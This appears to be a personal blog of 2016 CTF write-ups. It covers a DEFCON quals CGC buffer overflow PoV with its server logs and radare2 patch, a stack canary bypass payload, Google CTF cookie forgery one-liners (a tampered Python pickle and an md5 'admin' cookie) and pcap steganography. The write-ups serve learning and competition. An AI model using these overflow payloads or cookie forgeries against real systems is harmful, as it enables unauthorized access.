This was what I ended up with for the final PoV XML file used for testing LEGIT_00003 & LEGIT_00003_patched:

<?xml version="1.0" standalone="no" ?>
<!DOCTYPE cfepov SYSTEM "/usr/share/cgc-docs/cfe-pov.dtd">
<cfepov>
<cbid>LEGIT_00003</cbid>
<replay>
    <negotiate>
        <type1>
            <ipmask>0xFFFFFFFF</ipmask>
            <regmask>0xFFFFFFFF</regmask>
            <regnum>5</regnum>
        </type1>
    </negotiate>
    <read echo="yes"><delim>\n</delim><match><data>1) Gimme Name\n</data></match></read>
    <read echo="yes"><delim>\n</delim><match><data>2) Print Name\n</data></match></read>
    <read echo="yes"><delim>\n</delim><match><data>3) Exit\n</data></match></read>
    <read echo="yes"><length>1</length><match><data>:</data></match></read>
    <write echo="yes"><data>1\n</data></write>
    <read echo="yes"><length>12</length><match><data> Enter Name:</data></match></read>
    <write echo="yes">
        <!-- echo $'1\nIIIIBBBBCCCCDDDDEEEEFFFFGGGGHHHH\xaa\xae\xaa\xbaAAAA_EBP_EIP\n' | ./legit_00003 -->
        <data>IIIIBBBBCCCCDDDDEEEEFFFFGGGGHHHH\xaa\xae\xaa\xbaAAAA</data>
        <var>TYPE1_REG</var>
        <var>TYPE1_IP</var>
        <data>\n</data>
    </write>
    <!-- <read><length>1</length></read> -->
</replay>
</cfepov>


Running make in the ~/pov directory, it successfully runs the pov against the challenge binary, expecting it to core, and checking the eip/reg control.

The binary POV will be dropped in the same pov directory as your *.povxml files. Now that we have this, we can send it back to the challenge server:

 $ (echo `cat pov-for-00004|wc -c` && cat ./pov-for-00004; cat) | nc legit_00003_25e9ac445b159a3d5cf1d52aea007100.quals.shallweplayaga.me 32648

How many bytes is your POV?
Ok...send it
Successfully received
# launching cb-server --insecure -p 2660 -m 1 -d /home/legit_00003 --negotiate -t 30 -c 0 legit_00003
# launching sleep 100
# launching cb-replay-pov --host 127.114.161.48 --port 2660 --timeout 30 --negotiate /tmp/b9931a34-7a0c-481d-b9b7-5055f96396ec.pov
# cb-server: connection from: 127.0.0.1:44913
# cb-server: negotation flag: 1
# cb-server: seed: D0EAEE8925846776B1F7E6381A7EB7459474AAAA0E88F400731002D0BAF547A1DAA63E08F4E9F4535A49F29007982E34
# cb-server: stat: legit_00003 filesize 88052
# cb-server: register states - eax: 00000048 ecx: baaaaeaa edx: baaaae47 ebx: 00000000 esp: baaaaf3c ebp: e7afc747 esi: 41414141 edi: 00000000 eip: 232e83bd
# cb-server: CB generated signal (pid: 22, signal: 11)
# cb-server: total children: 1
# cb-server: total maxrss 0
# cb-server: total minflt 6
# cb-server: total utime 0.000000
# cb-server: total sw-cpu-clock 1581820
# cb-server: total sw-task-clock 1581455
# /tmp/b9931a34-7a0c-481d-b9b7-5055f96396ec.pov
# using seed: d0eaee8925846776b1f7e6381a7eb7459474aaaa0e88f400731002d0baf547a1daa63e08f4e9f4535a49f29007982e34
# negotiation type: 1
# type 1 masks: ffffffff ffffffff
# type 1 pov: 232e83bd e7afc747 5
# POV type 1 negotiated masks: ffffffff ffffffff 5
ok - TYPE 1 POV
The flag is: Superman, Stuporhero and a Massachusetts Slurpee.


The wc in the front was to give it the amount of bytes for the received binary, and cat is there to sustain the connection.

The flag is: Superman, Stuporhero and a Massachusetts Slurpee.




Now onto patching.....

Only 30 minutes was left on the clock when I decided to go for the patch on this, could've given up easily but decided to go for it!

The POV has been built to check both the unpatched CB and the patched one (currently sitting the same exact binary as the unpatched). Currently when running the cb-replay / cb-test we get only the unpatched expected core passing.

So the next step is to fix the vulnerability, let's fire up radare2 again and see what we can find.

First starting to look at where the closest stdout is to the vulnerability, seeking to the XRef related to that string.

[0x08048110]> iz | grep -i enter
vaddr=0x08049467 paddr=0x00001467 ordinal=001 sz=13 len=12 section=.rodata type=ascii string=Enter Name:



Here we are.. 0x08048280.

Notice the two highlighted matches of 0x30, the second one is the immediate we need to modify.

We can open the binary up in read-write mode with the following command:

:> oo+
File ./legit_00003 reopened in read-write mode


Seeking to 0x080482e4 we see the culprit to modify.



In radare2, patching this is as simple as using the interactive assembler, you can get to this by hitting A in visual mode (loved utilizing this for patching GitSC's Pwn Adventures).



Using .hex, we can insert hex instead of asm instructions. Since we just need to change that immediate, it makes the change very simple, one character:





Changing 0x30 to 0x20 may not be reasonable in production code specs, but it works to solve the vulnerability.

Exiting out of the interactive assembler will ask you to save, simply press Y and you've got a patched CGC binary!

Now we can switch back over to our Vagrant VM and try it out, copying the new patched file to ./bin/LEGIT_00003_patched

Before copying it over we got the message:

cb-test --negotiate --xml_dir pov --directory bin --log build/LEGIT_00003.pov.txt --failure_ok --should_core --cb LEGIT_00003
cb-test --negotiate --xml_dir pov --directory bin --log build/LEGIT_00003_patched.pov.txt --failure_ok --cb LEGIT_00003_patched
# not ok - POV type 1 expected to not core, but did. (signal 11: SIGSEGV)
make: *** [check] Error 255


After the copy we get:

cb-test --negotiate --xml_dir pov --directory bin --log build/LEGIT_00003.pov.txt --failure_ok --should_core --cb LEGIT_00003
cb-test --negotiate --xml_dir pov --directory bin --log build/LEGIT_00003_patched.pov.txt --failure_ok --cb LEGIT_00003_patched


Aaand sending it to the server:

$ (echo `cat legit_00003_p1|wc -c` && cat ./legit_00003_p1; cat) | nc legit_00003_patch_01852870a8d9ad56a54d832d5cc62dad.quals.shallweplayaga.me 17225
How many bytes is your patched CB?
Ok...send it
Successfully received
# launching cb-server --insecure -p 2305 -m 10 -d /tmp --negotiate -t 30 -c 0 9b232bba-6bd3-4843-b69a-777b9be006d9
# launching sleep 100
# launching cb-replay --host 127.177.251.145 --port 2305 --timeout 30 --negotiate /home/legit_00003_patch/polls/GEN_00000.xml /home/legit_00003_patch/polls/GEN_00001.xml /home/legit_00003_patch/polls/GEN_00002.xml /home/legit_00003_patch/polls/GEN_00003.xml /home/legit_00003_patch/polls/GEN_00004.xml /home/legit_00003_patch/polls/GEN_00005.xml /home/legit_00003_patch/polls/GEN_00006.xml /home/legit_00003_patch/polls/GEN_00007.xml /home/legit_00003_patch/polls/GEN_00008.xml /home/legit_00003_patch/polls/GEN_00009.xml
# cb-server: connection from: 127.0.0.1:48580
# cb-server: negotation flag: 1
# cb-server: seed: C31E3A7F7869159E2B9CB43DFDF71A509D459BF64010E5C8B9EA2B89896F61145307C2DCCE5D7E39B8F1F653C25FDCB0
# cb-server: stat: 9b232bba-6bd3-4843-b69a-777b9be006d9 filesize 88052
# cb-server: CB exited (pid: 24, exit code: 0)
# cb-server: total children: 1
# cb-server: total maxrss 24
# cb-server: total minflt 6
# cb-server: total utime 0.000000
# cb-server: total sw-cpu-clock 4450239
# cb-server: total sw-task-clock 4458616
# cb-server: CB exited (pid: 23, exit code: 0)
# cb-server: connection from: 127.0.0.1:45363
# cb-server: negotation flag: 1
# cb-server: seed: 8E93095CDF61C2655E80F1CAF35119A78E1B2F275853E045176326358DAF83E6D9F8B4326B61A736F284641E4ABB9F55
# cb-server: stat: 9b232bba-6bd3-4843-b69a-777b9be006d9 filesize 88052
# cb-server: CB exited (pid: 26, exit code: 0)
# cb-server: total children: 1
# cb-server: total maxrss 24
# cb-server: total minflt 6
# cb-server: total utime 0.000000
# cb-server: total sw-cpu-clock 4435595
# cb-server: total sw-task-clock 4443390
# cb-server: CB exited (pid: 25, exit code: 0)
# cb-server: connection from: 127.0.0.1:53608
# cb-server: negotation flag: 1
# cb-server: seed: 62E5D85E053740972A5687C15990154513D19189651CD65967C9BB9ED208B3714B46F809403681A19F521364AA3D83B8
# cb-server: stat: 9b232bba-6bd3-4843-b69a-777b9be006d9 filesize 88052
# cb-server: CB exited (pid: 28, exit code: 0)
# cb-server: total children: 1
# cb-server: total maxrss 24
# cb-server: total minflt 6
# cb-server: total utime 0.000000
# cb-server: total sw-cpu-clock 4415443
# cb-server: total sw-task-clock 4426033
# cb-server: CB exited (pid: 27, exit code: 0)
# cb-server: connection from: 127.0.0.1:35391
# cb-server: negotation flag: 1
# cb-server: seed: 62882C9E2CD5D660DB1C7E4AD15EA760A84F2B66E480F570BA9497553B76CB26C1C288A809CDD3B1EC03A4F914AE0B46
# cb-server: stat: 9b232bba-6bd3-4843-b69a-777b9be006d9 filesize 88052
# cb-server: CB exited (pid: 30, exit code: 0)
# cb-server: total children: 1
# cb-server: total maxrss 24
# cb-server: total minflt 6
# cb-server: total utime 0.000000
# cb-server: total sw-cpu-clock 4571481
# cb-server: total sw-task-clock 4582952
# cb-server: CB exited (pid: 29, exit code: 0)
# cb-server: connection from: 127.0.0.1:53001
# cb-server: negotation flag: 1
# cb-server: seed: FE202FB0E028B1BCECED407241BD9907910F91D80BF3A04AA71F4DE7C5787F168D067D3E75E5626CB82C322DBFCB7BB9
# cb-server: stat: 9b232bba-6bd3-4843-b69a-777b9be006d9 filesize 88052
# cb-server: CB exited (pid: 32, exit code: 0)
# cb-server: total children: 1
# cb-server: total maxrss 24
# cb-server: total minflt 6
# cb-server: total utime 0.000000
# cb-server: total sw-cpu-clock 4356517
# cb-server: total sw-task-clock 4366848
# cb-server: CB exited (pid: 31, exit code: 0)
# cb-server: connection from: 127.0.0.1:44519
# cb-server: negotation flag: 1
# cb-server: seed: 581D18F2BDBE875F5803017FCDF767345A5BAEEE3BA701FA6D6701DDFBA087F6AB6D7318FA2B510078D45A264F673277
# cb-server: stat: 9b232bba-6bd3-4843-b69a-777b9be006d9 filesize 88052
# cb-server: CB exited (pid: 34, exit code: 0)
# cb-server: total children: 1
# cb-server: total maxrss 24
# cb-server: total minflt 6
# cb-server: total utime 0.000000
# cb-server: total sw-cpu-clock 4450227
# cb-server: total sw-task-clock 4463487
# cb-server: CB exited (pid: 33, exit code: 0)
# cb-server: connection from: 127.0.0.1:42282
# cb-server: negotation flag: 1
# cb-server: seed: 5F22F45B9F220ACECB404BC22EE28BF7740B6C0EB675AFD73491577F8A683E8ABC12683C772CF8907E6ED091A72E829F
# cb-server: stat: 9b232bba-6bd3-4843-b69a-777b9be006d9 filesize 88052
# cb-server: CB exited (pid: 36, exit code: 0)
# cb-server: total children: 1
# cb-server: total maxrss 24
# cb-server: total minflt 6
# cb-server: total utime 0.000000
# cb-server: total sw-cpu-clock 4605634
# cb-server: total sw-task-clock 4616619
# cb-server: CB exited (pid: 35, exit code: 0)
# cb-server: connection from: 127.0.0.1:39070
# cb-server: negotation flag: 1
# cb-server: seed: C109ECE1C065013EBE5CA0B69B19225F78504B2F2ADF8917FF647F198D8C0C4099043B1A86E73462613DC5F2122EF3E2
# cb-server: stat: 9b232bba-6bd3-4843-b69a-777b9be006d9 filesize 88052
# cb-server: CB exited (pid: 38, exit code: 0)
# cb-server: total children: 1
# cb-server: total maxrss 24
# cb-server: total minflt 6
# cb-server: total utime 0.000000
# cb-server: total sw-cpu-clock 4430579
# cb-server: total sw-task-clock 4440284
# cb-server: CB exited (pid: 37, exit code: 0)
# cb-server: connection from: 127.0.0.1:50055
# cb-server: negotation flag: 1
# cb-server: seed: E15B879DD393A94B25D31579199FB88019CF66759F84D78D8D1CE34ABBD9F933029000384F33966B0B2FF75F40685A05
# cb-server: stat: 9b232bba-6bd3-4843-b69a-777b9be006d9 filesize 88052
# cb-server: CB exited (pid: 40, exit code: 0)
# cb-server: total children: 1
# cb-server: total maxrss 24
# cb-server: total minflt 6
# cb-server: total utime 0.000000
# cb-server: total sw-cpu-clock 4422995
# cb-server: total sw-task-clock 4434465
# cb-server: CB exited (pid: 39, exit code: 0)
# cb-server: connection from: 127.0.0.1:34554
# cb-server: negotation flag: 1
# cb-server: seed: 902858EA8E288D6648944B6CEB914E72B214512BE3E3D91B362486159521576554C1B07A6BCE8C59605DB9B763D83521
# cb-server: stat: 9b232bba-6bd3-4843-b69a-777b9be006d9 filesize 88052
# cb-server: CB exited (pid: 42, exit code: 0)
# cb-server: total children: 1
# cb-server: total maxrss 24
# cb-server: total minflt 6
# cb-server: total utime 0.000000
# cb-server: total sw-cpu-clock 4033543
# cb-server: total sw-task-clock 4039591
# cb-server: CB exited (pid: 41, exit code: 0)
# negotiating seed as c31e3a7f7869159e2b9cb43dfdf71a509d459bf64010e5c8b9ea2b89896f61145307c2dcce5d7e39b8f1f653c25fdcb0
# service - /home/legit_00003_patch/polls/GEN_00000.xml
# connected to ('127.177.251.145', 2305)
ok 1 - match: string
ok 2 - match: string
ok 3 - match: string
ok 4 - match: string
ok 5 - write: sent 2 bytes
ok 6 - match: string
ok 7 - write: sent 12 bytes
ok 8 - match: string
ok 9 - match: string
ok 10 - match: string
ok 11 - match: string
ok 12 - write: sent 2 bytes
ok 13 - match: string
ok 14 - match: string
ok 15 - match: string
ok 16 - match: string
ok 17 - match: string
ok 18 - write: sent 2 bytes
ok 19 - match: string
# tests passed: 19
# tests failed: 0
# negotiating seed as 8e93095cdf61c2655e80f1caf35119a78e1b2f275853e045176326358daf83e6d9f8b4326b61a736f284641e4abb9f55
# service - /home/legit_00003_patch/polls/GEN_00001.xml
# connected to ('127.177.251.145', 2305)
ok 1 - match: string
ok 2 - match: string
ok 3 - match: string
ok 4 - match: string
ok 5 - write: sent 2 bytes
ok 6 - match: string
ok 7 - write: sent 17 bytes
ok 8 - match: string
ok 9 - match: string
ok 10 - match: string
ok 11 - match: string
ok 12 - write: sent 2 bytes
ok 13 - match: string
ok 14 - match: string
ok 15 - match: string
ok 16 - match: string
ok 17 - match: string
ok 18 - write: sent 2 bytes
ok 19 - match: string
# tests passed: 19
# tests failed: 0
# negotiating seed as 62e5d85e053740972a5687c15990154513d19189651cd65967c9bb9ed208b3714b46f809403681a19f521364aa3d83b8
# service - /home/legit_00003_patch/polls/GEN_00002.xml
# connected to ('127.177.251.145', 2305)
ok 1 - match: string
ok 2 - match: string
ok 3 - match: string
ok 4 - match: string
ok 5 - write: sent 2 bytes
ok 6 - match: string
ok 7 - write: sent 12 bytes
ok 8 - match: string
ok 9 - match: string
ok 10 - match: string
ok 11 - match: string
ok 12 - write: sent 2 bytes
ok 13 - match: string
ok 14 - match: string
ok 15 - match: string
ok 16 - match: string
ok 17 - match: string
ok 18 - write: sent 2 bytes
ok 19 - match: string
# tests passed: 19
# tests failed: 0
# negotiating seed as 62882c9e2cd5d660db1c7e4ad15ea760a84f2b66e480f570ba9497553b76cb26c1c288a809cdd3b1ec03a4f914ae0b46
# service - /home/legit_00003_patch/polls/GEN_00003.xml
# connected to ('127.177.251.145', 2305)
ok 1 - match: string
ok 2 - match: string
ok 3 - match: string
ok 4 - match: string
ok 5 - write: sent 2 bytes
ok 6 - match: string
ok 7 - write: sent 20 bytes
ok 8 - match: string
ok 9 - match: string
ok 10 - match: string
ok 11 - match: string
ok 12 - write: sent 2 bytes
ok 13 - match: string
ok 14 - match: string
ok 15 - match: string
ok 16 - match: string
ok 17 - match: string
ok 18 - write: sent 2 bytes
ok 19 - match: string
# tests passed: 19
# tests failed: 0
# negotiating seed as fe202fb0e028b1bceced407241bd9907910f91d80bf3a04aa71f4de7c5787f168d067d3e75e5626cb82c322dbfcb7bb9
# service - /home/legit_00003_patch/polls/GEN_00004.xml
# connected to ('127.177.251.145', 2305)
ok 1 - match: string
ok 2 - match: string
ok 3 - match: string
ok 4 - match: string
ok 5 - write: sent 2 bytes
ok 6 - match: string
ok 7 - write: sent 13 bytes
ok 8 - match: string
ok 9 - match: string
ok 10 - match: string
ok 11 - match: string
ok 12 - write: sent 2 bytes
ok 13 - match: string
ok 14 - match: string
ok 15 - match: string
ok 16 - match: string
ok 17 - match: string
ok 18 - write: sent 2 bytes
ok 19 - match: string
# tests passed: 19
# tests failed: 0
# negotiating seed as 581d18f2bdbe875f5803017fcdf767345a5baeee3ba701fa6d6701ddfba087f6ab6d7318fa2b510078d45a264f673277
# service - /home/legit_00003_patch/polls/GEN_00005.xml
# connected to ('127.177.251.145', 2305)
ok 1 - match: string
ok 2 - match: string
ok 3 - match: string
ok 4 - match: string
ok 5 - write: sent 2 bytes
ok 6 - match: string
ok 7 - write: sent 16 bytes
ok 8 - match: string
ok 9 - match: string
ok 10 - match: string
ok 11 - match: string
ok 12 - write: sent 2 bytes
ok 13 - match: string
ok 14 - match: string
ok 15 - match: string
ok 16 - match: string
ok 17 - match: string
ok 18 - write: sent 2 bytes
ok 19 - match: string
# tests passed: 19
# tests failed: 0
# negotiating seed as 5f22f45b9f220acecb404bc22ee28bf7740b6c0eb675afd73491577f8a683e8abc12683c772cf8907e6ed091a72e829f
# service - /home/legit_00003_patch/polls/GEN_00006.xml
# connected to ('127.177.251.145', 2305)
ok 1 - match: string
ok 2 - match: string
ok 3 - match: string
ok 4 - match: string
ok 5 - write: sent 2 bytes
ok 6 - match: string
ok 7 - write: sent 20 bytes
ok 8 - match: string
ok 9 - match: string
ok 10 - match: string
ok 11 - match: string
ok 12 - write: sent 2 bytes
ok 13 - match: string
ok 14 - match: string
ok 15 - match: string
ok 16 - match: string
ok 17 - match: string
ok 18 - write: sent 2 bytes
ok 19 - match: string
# tests passed: 19
# tests failed: 0
# negotiating seed as c109ece1c065013ebe5ca0b69b19225f78504b2f2adf8917ff647f198d8c0c4099043b1a86e73462613dc5f2122ef3e2
# service - /home/legit_00003_patch/polls/GEN_00007.xml
# connected to ('127.177.251.145', 2305)
ok 1 - match: string
ok 2 - match: string
ok 3 - match: string
ok 4 - match: string
ok 5 - write: sent 2 bytes
ok 6 - match: string
ok 7 - write: sent 14 bytes
ok 8 - match: string
ok 9 - match: string
ok 10 - match: string
ok 11 - match: string
ok 12 - write: sent 2 bytes
ok 13 - match: string
ok 14 - match: string
ok 15 - match: string
ok 16 - match: string
ok 17 - match: string
ok 18 - write: sent 2 bytes
ok 19 - match: string
# tests passed: 19
# tests failed: 0
# negotiating seed as e15b879dd393a94b25d31579199fb88019cf66759f84d78d8d1ce34abbd9f933029000384f33966b0b2ff75f40685a05
# service - /home/legit_00003_patch/polls/GEN_00008.xml
# connected to ('127.177.251.145', 2305)
ok 1 - match: string
ok 2 - match: string
ok 3 - match: string
ok 4 - match: string
ok 5 - write: sent 2 bytes
ok 6 - match: string
ok 7 - write: sent 15 bytes
ok 8 - match: string
ok 9 - match: string
ok 10 - match: string
ok 11 - match: string
ok 12 - write: sent 2 bytes
ok 13 - match: string
ok 14 - match: string
ok 15 - match: string
ok 16 - match: string
ok 17 - match: string
ok 18 - write: sent 2 bytes
ok 19 - match: string
# tests passed: 19
# tests failed: 0
# negotiating seed as 902858ea8e288d6648944b6ceb914e72b214512be3e3d91b362486159521576554c1b07a6bce8c59605db9b763d83521
# service - /home/legit_00003_patch/polls/GEN_00009.xml
# connected to ('127.177.251.145', 2305)
ok 1 - match: string
ok 2 - match: string
ok 3 - match: string
ok 4 - match: string
ok 5 - write: sent 2 bytes
ok 6 - match: string
ok 7 - write: sent 16 bytes
ok 8 - match: string
ok 9 - match: string
ok 10 - match: string
ok 11 - match: string
ok 12 - write: sent 2 bytes
ok 13 - match: string
ok 14 - match: string
ok 15 - match: string
ok 16 - match: string
ok 17 - match: string
ok 18 - write: sent 2 bytes
ok 19 - match: string
# tests passed: 19
# tests failed: 0
# total tests passed: 190
# total tests failed: 0
# polls passed: 10
# polls failed: 0
# launching cb-server --insecure -p 2057 -m 1 -d /tmp --negotiate -t 30 -c 0 9b232bba-6bd3-4843-b69a-777b9be006d9
# launching sleep 100
# launching cb-replay-pov --host 127.21.144.70 --port 2057 --timeout 30 --negotiate /home/legit_00003_patch/pov_1.pov
# cb-server: connection from: 127.0.0.1:57857
# cb-server: negotation flag: 1
# cb-server: seed: C67B3222B4EFF8031169122D82F8EA7ACE7B0D9026AB893A09F9B7EB2CD5C20184ABB5F1C4FEEB3C5E1066946427ADAA
# cb-server: stat: 9b232bba-6bd3-4843-b69a-777b9be006d9 filesize 88052
# cb-server: CB exited (pid: 55, exit code: 0)
# cb-server: total children: 1
# cb-server: total maxrss 24
# cb-server: total minflt 6
# cb-server: total utime 0.000000
# cb-server: total sw-cpu-clock 3894416
# cb-server: total sw-task-clock 3899075
# cb-server: CB exited (pid: 54, exit code: 0)
# /home/legit_00003_patch/pov_1.pov
# using seed: c67b3222b4eff8031169122d82f8ea7ace7b0d9026ab893a09f9b7eb2cd5c20184abb5f1c4feeb3c5e1066946427adaa
# negotiation type: 1
# type 1 masks: 7f7f7f7f 7f7f7f7f
# type 1 pov: 04180167 593a2a30 5
ok - POV type 1 did not core, as expected
Passed functionality tests.
Passed pov test
The flag is: Come get your grape juice and a Sex Coma.


Looks like it worked!


The flag is: Come get your grape juice and a Sex Coma.

Sunday, May 22, 2016

DEFCON CTF Quals 2016 - Easy Prasky


Our team started by spreading out and tackling separate problems, eventually consolidating into subgroups.

One of the first challenges I started looking at was "easy-prasky". This was in the "Baby's First" section, the bite-size preview challenges that show what's coming ahead.

No description on this one, just a binary and a server to connect to. Pulling down the file we get a tar file that extracts to a binary:

$ tar -xzf easy-prasky.tar.bz2
$ ls -la
  -rw-r--r--   1 user  staff   1.7K May 19 09:47 easy-prasky.tar.bz2
  drwxr-xr-x   3 user  staff   102B May 22 21:07 easy-prasky-with-buffalo-on-bing

$ cd easy-prasky-with-buffalo-on-bing
$ ls -la
  -rwxr-xr-x  1 user  staff   2.3K May 18 18:36 easy-prasky-with-buffalo-on-bing

$ file easy-prasky-with-buffalo-on-bing
  easy-prasky-with-buffalo-on-bing: data


Interesting, just data. Running strings on this we get some more interesting information:

Merino
fffff.
ffff.
fff.
^_[]
SQRV
^ZY[
SQRV
^ZY[
SQRVW
_^ZY[
lddwDrwhkTEBSya_
hacking detected, see ya
canary ok
clang-cgc version 3.4 (9085)
.shstrtab
.text
.rodata
.comment

This looks like some custom format, and clang-cgc seems pretty obvious. It's also worth noting there wasn't much data out of this, it's a somewhat small amount for a binary.

Loading this binary in radare2 we can see it's information:

[0x080486b7]> if
type     EXEC (Executable file)
file     easy-prasky-with-buffalo-on-bing
fd       3
size     0x948
blksz    0x0
mode     -r--
block    0x100
format   cgc
pic      false
canary   false
nx       false
crypto   false
va       true
bintype  elf
class    ELF32
lang     c
arch     x86
bits     32
machine  Intel 80386
os       linux
minopsz  1
maxopsz  16
pcalign  0
subsys   linux
endian   little
stripped true
static   true
linenum  false
lsyms    false
relocs   false
rpath    NONE
binsz    2173


Noticing the format as cgc (also seen from the strings output) it's safe to assume this is probably a CGC binary. This is acting as a preview for the other challenges in the "See Gee Sea" category to be unlocked later in the game.

format   cgc


This was unfortunately, the first time I had looked at any of the CGC challenge details in any depth. (If you're new to the idea of Cyber Grand Challenge at all, check out - http://www.cybergrandchallenge.com/)

Remembering that the challenges run in a VM, I quickly searched for any available open-source material that may be out there. Quickly landed on this page - http://repo.cybergrandchallenge.com/boxes/

Which shows a listing of 3 major files:

  cgc-linux-dev.box 1097696df99f2f6edd85974c3d8d96afb13444c1c3905d6165badf0e50d07ad1
  vm.json d79a4d8e28975b24a518c2acb12195e048c0806ed7a08112f3d48eac0dac80e3
  Vagrantfile ff0f8b4a3996a137d2a6eb7088a632928068425b9c4502f6c754c3f079672d00



This is Great! A Vagrant file to get up and running in no time!

After running vagrant up && vagrant ssh, we were into the cgc environment, loaded with useful binaries and example files to play with.
As the challenge went on, I grew an appreciation for the amount of work that went into this infrastructure. It's a great idea with some solid engineering work poured into it.

Now that we have things setup, let's try executing that binary in this environment to see what happens...
$ ./easy-prasky-with-buffalo-on-bing
anything
canary ok$ 


So we have a little print out that mentions the canary is ok... So it has a stack cookie setup.
What happens if we give it a ton of input:

$ ./easy-prasky-with-buffalo-on-bing
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault


Well that was easy!

Also let's look at what happens when there's a moderate amount of input:

$ ./easy-prasky-with-buffalo-on-bing
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
hacking detected, see ya$


Nice, so we now have Three states of output we can produce.


At this point we decided to pull apart the binary in radare2 finding the canary value which needs to be restored.


 


First noticed that the entry point of each CGC binary has the same structure. Three functions, where the second was the meat of operations performed.

As usual in r2, run aaa and iz to view any obvious strings in the binary:




Seeking to 0x0804880a we hit X in visual mode to see X-Refs & 0 to seek to the first match.


This lead us to the "main" function which called another function for the canary check and exits with "hacking detected" or "canary ok"




We can see ecx being loaded with this odd string found, and edx being loaded with the immediate 4. Also notice that the result of this function determines the type of exit.




Going to 0x080482e0 we see:


In the next graph we see a loop which checks if local_5 is greater than 4 (jge instruction at the top). Then we see on the false path of the jge check, a single byte being checked from the stack against the original canary value.




With this we decided to just try the first four characters of that string acting as the canary.
We ended up with a payload that looked like this:

$ python -c "print 'lddw'*6 + 'AAAA'*6" | ./easy-prasky-with-buffalo-on-bing
canary okSegmentation fault


So this gave us a nice mix of "canary ok" with "Segmentation fault" -- it worked!

Piping this to base64 (required by the remote server) and to netcat ended up dropping the flag!

$ python -c "print 'lddw'*6 + 'AAAA'*6" | base64 | nc easy-prasky_335e35448b30ce7697fbb036cce45e34.quals.shallweplayaga.me 10001


We definitely over-thought this one at first, but it turned out to be very simple.
Big shout-out to @unixist who was my partner-in-crime for this challenge.


Tuesday, May 3, 2016

Google CTF 2016 - Various [No Big Deal Pt. 1, In Recorded Conversation, Spotted Quoll, Ernst Echidna]



So I grouped these all together for two main reasons:
  1. I was inspired seeing this short writeup for GeoKitties - https://twitter.com/k_firsov/status/726841516174508033
  2. Write-ups can take some time, so this is a good way of shortening a few challenges into one post.

Quick note about the writeups below:
  • Each of the examples below are one-liner solutions (they may not be the best one-liners because they can be longcat-long, but were fun to make)
  • Each example below has a one-line output including the CTF{...} flag


No Big Deal Pt. 1 (50):

This one was probably one of the easiest challenges (even easier than the 5pt recon) that I came across, strings'ing the pcap gave an obvious base64 encoded value at the end of the dump, which turned into the flag, here's the one-liner:

strings -n 9 no-big-deal.pcap | tail -n 1 | base64 -D

Result:

CTF{betterfs.than.yours}



In Recorded Conversation (25):

The name of this challenge invoked the idea that there was going to be a hidden conversation to find a flag in.  That was exactly it in a pcap!  For this one I didn't open wireshark and decided to jump into more tshark.  This is not my actual solution for the challenge when I was playing (it was a lot more manual), but the same thing would've worked... Usually there's no time to do silly things like tr, sed & multi-massaged-list-comprehensions to get an answer when you're on the CTF clock.

tshark -r irc.pcap -T fields -e data 2>/dev/null | python -c "import sys; a=sys.stdin.read().split('\n'); a=[x.decode('hex') for x in a]; a=[x for x in a if 'PRIVMSG' in x and '~' not in x]; print a" | tr ',' '\n' | grep #ctf | tail -n 8 | head -n 7 | sed 's/.*://g;s/\\.*//g' | tr '\n' ' ' | sed 's/ //g'

Result:

CTF{some_leaks_are_good_leaks_}



Spotted Quoll (50):

This challenge was mainly solved by a team-mate (Unixist), but I helped out a bit with some minor details.  Also formed it into this massive one-liner:

curl -L https://spotted-quoll.ctfcompetition.com/admin --cookie obsoletePickle=$(python -c 'import pickle; x = pickle.loads("KGRwMQpTJ3B5dGhvbicKcDIKUydwaWNrbGVzJwpwMwpzUydzdWJ0bGUnCnA0ClMnaGludCcKcDUKc1MndXNlcicKcDYKTnMu".decode("base64")); x["user"] = "admin"; print pickle.dumps(x).encode("base64").replace("\n", "")') 2>/dev/null | grep -i ctf

The challenge consisted of identifying that the cookie was in a python pickle format, dumping the current cookie (base64 encoded) and then noticing the user was set to None, changing it to admin and re-encoding it / sending it off.


Result:

Your flag is CTF{but_wait,theres_more.if_you_call} ... but is there more(1)? or less(1)?



Ernst Echidna (50):

This challenge was also a very simple web challenge, consisting of a cookie that was set to the md5 value of your username.  The goal was to view the admin section, so a little echo -n admin | md5sum, and we've got our cookie.


curl https://ernst-echidna.ctfcompetition.com/admin --cookie md5-hash=$(echo -n admin | md5) 2>/dev/null | grep -i ctf

Result:

      Congratulations, your token is 'CTF{renaming-a-bunch-of-levels-sure-is-annoying}



These were all simple, but very fun! Had a good time forming the (mostly) one-liners above today.  Let me know if you have any more efficient examples of these in the comments!



Sunday, May 1, 2016

Google CTF 2016 - A Cute Stegosaurus (100)



Description for this challenge was:

Admire our cutest Stegosaurus ever!


They give you a pcap file called stego.pcap, sooooo let's fire up Wireshark and see if a shark can find a dinosaur.


Initially saw a /message.png route being hit, so I decided to see if I could extract that out of the pcap.


In Wireshark, this is really simple, just follow the TCP stream / File > Export Objects > HTTP, and you'll see it pop up with the file seen in the traffic.




Save and open the file and we get:



YESSSSSSs! A Fr'cken Stegosaurus!!!!

Something about this pun in this makes me tear up a bit....
(Also Pro-Tip for trolling stego solvers in the future, add some random artifacts into the image like they mean something, after staring at that dino leg on the right with the seam, I almost thought it could be hidden there... Not sure if it was the caffeine or sleep-deprivation, either way it'll work on someone)


Anyways, down to business.

Running this image through the standard stego tools & photo editing tools got nothing.  Tried a quick sweep through the threshold, bitplanes, alpha, stereograph, etc.  Nothing too interesting was in the exif data either.


So after taking a break on this one and coming back I looked in the packets again to see if anything else was there for carving.

Started to look for any patterns in any part of the packets (being only 2k of them & fairly regular).
Then I stumbled upon this little gem:



What... is this Urgent pointer thing all about ?  Why so Urgent ?

This must be the Nova Microdash of TCP packets.....


So let's see if we can find out what's so urgent.


After going through a few, it looks like they may actually be in the printable character range.  This one was 70, let's convert that, write it down and go to the next one.  The next was 123, these two combined make the characters 'F{' ... going backwards we'll also see 67 & 84 as 'CT'... All of this together is 'CTF{' -- Looks like we're on the right track.


Now I could've probably done this by hand, but I didn't want to, felt a little lazy and also thought it was a good time to explore tshark more.  So in a new terminal I went ahead and executed this command (kinda luckily guessed this one, I'm not very experienced with tshark):

> tshark -r stego.pcap -T fields -e tcp.urgent_pointer

0
0
0
0
0
0
67
0
84
0
70
0
123
0
65
0
110
0
100
0
...


(Cut the output down for brevity) -- The problem with this output is there are all these 0 bytes that are sneaking in to our nice characters we want to extract. We could just grep these out to make life easier:

